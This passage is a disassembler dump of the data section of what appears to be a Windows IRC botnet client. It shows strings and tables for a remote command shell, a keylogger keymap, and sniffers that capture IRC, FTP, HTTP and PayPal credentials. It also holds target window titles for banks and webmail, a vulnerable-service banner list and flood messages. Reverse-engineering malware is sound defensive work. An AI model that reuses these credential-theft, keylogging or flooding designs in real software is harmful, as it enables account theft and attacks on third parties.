ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410330:loc_4106F2o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410330+3BBo align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_410330+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+330o ; sub_410330+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_410330+30Eo align 10h aS db '<%s>',0 ; DATA XREF: sub_410330+2E4o ; sub_410330+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_410330+2BAo aAm db 'AM',0 ; DATA XREF: sub_410330+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_410330+285o align 10h a__ db '..',0 ; DATA XREF: sub_410330+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410330+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_410330+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410A9D+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_434918 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D2Co aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410CD1o dword_43495C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410C79o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4349C4 db 2Dh ; - ; DATA XREF: ___:00410E52o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434A0C db 2Dh ; - ; DATA XREF: ___:004110A4o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_434A4C db 2Dh ; - ; DATA XREF: ___:00410FDBo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_434A90 db 2Dh ; - ; DATA XREF: ___:00411367o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_434ABC db 2Dh ; - ; DATA XREF: ___:00411340o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434AE8 db 2Dh ; - ; DATA XREF: ___:00411320o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004112F0o align 4 unk_434B24 db 2Dh ; - ; DATA XREF: ___:0041125Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434B50 db 2Dh ; - ; DATA XREF: sub_411383:loc_4113C8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_434B7C dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_4113DD+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434D18 db 2Dh ; - ; DATA XREF: sub_411694+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434D4C db 2Dh ; - ; DATA XREF: sub_411694+59o ; sub_411694+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434D94 db 2Dh ; - ; DATA XREF: sub_4117E5+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434DBC db 2Dh ; - ; DATA XREF: sub_4117E5+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434DFC db 2Dh ; - ; DATA XREF: sub_4117E5+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434E3C db 2Dh ; - ; DATA XREF: sub_4118DE+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4118DE+8Co align 4 dword_434E7C dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119B7+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 dd 342C3003h, 5E5E207Ch, 5E587256h, 37C205Eh, 7C312C30h dd 77305020h, 75467233h, 20796C6Ch, 2C31037Ch, 207C2038h dd 336E5730h, 203E2044h, 7325h dword_435070 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:004125CDo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 4 dword_435208 dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 4 dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 4 dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 4 dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 4 dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; ó aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 10h dd 4 dup(0) dword_435C70 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:0041261Fo dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_4363DC dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:004125EBo ; sub_41AF2B+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_436CE8 dd offset off_436CE4 dd offset off_436CE0 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:0043647Co align 10h off_436CE0 dd offset word_505446 ; DATA XREF: ___:00436478o off_436CE4 dd offset dword_435208+41h ; DATA XREF: ___:00436474o off_436CE8 dd offset word_544F42 ; DATA XREF: ___:00436470o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412EAA+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EAA+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EAA+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EAA+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EAA+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EAA+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EAA+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EAA+84o a366 db '366 ',0 ; DATA XREF: sub_412EAA+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412EAA:loc_412F0Co align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EAA+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EAA+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EAA+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EAA+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412FC1+62o aOper db 'oper ',0 ; DATA XREF: sub_412FC1+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412FC1:loc_413001o ; sub_413037+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412FC1+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412FC1+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413037+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413037+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413037:loc_413088o align 4 a220 db '220 ',0 ; DATA XREF: sub_413037+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413037+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_4130BE+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_4130BE+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_4130BE+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_4130BE:loc_4130FEo align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_4130BE+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_4130BE+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413145+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413145:loc_413185o align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413145+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413145+5o align 4 unk_436F5C db 2Dh ; - ; DATA XREF: sub_4131AA+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_436F94 db 2Dh ; - ; DATA XREF: sub_4131AA+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_436FCC db 2Dh ; - ; DATA XREF: sub_4131AA+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437000 db 2Dh ; - ; DATA XREF: sub_4131AA+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437034 db 2Dh ; - ; DATA XREF: sub_4131AA+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437068 db 2Dh ; - ; DATA XREF: sub_4131AA+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_437098 db 2Dh ; - ; DATA XREF: sub_4131AA+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4370EC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_41364F+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 